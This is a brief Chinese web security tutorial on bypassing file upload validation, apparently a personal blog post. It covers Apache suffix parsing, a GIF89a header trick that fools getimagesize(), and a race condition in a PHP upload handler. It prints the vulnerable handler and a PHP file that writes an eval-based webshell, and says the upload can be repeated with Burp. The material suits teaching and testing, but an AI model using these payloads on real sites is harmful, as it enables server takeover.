白名单校验
apache 解析缺陷
Apache得解析缺陷是Apache是从后面开始解析后缀,按最后一个合法后缀
详情参见:
https://www.cnblogs.com/milantgh/p/5116955.html
文件内容头校验
当getimagesize函数的参数是一张图片时,会返回一个包含该图片信息的数组,如果不是图片,则返回false
看起来可以利用getimagesize函数来判断一个文件是不是图片,但其实它可以被轻易绕过,因为getimagesize函数判断一个文件是不是图片的依据是图片格式的文件头
只要在webshell前面加上对应的文件头就可以让getimagesize函数误以为这是图片
最常用的头标识是gif文件的GIF89a
1 2
| GIF89a <?php phpinfo();?>
|
竞争上传
问题代码示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传失败!'; } }
|
服务端先将上传的文件保存下来,然后再去判断其是否合法,不合法就删除。
这时只要访问速度够快,就能访问到上传的非法文件
上传的文件
1 2 3 4 5
| <?php $file = 'web.php'; $shell = '<?php eval($_POST["key"])?>'; file_put_contents($file,$shell); ?>
|
可以通过bp不断的上传和访问该文件,访问成功就会写入一个webshell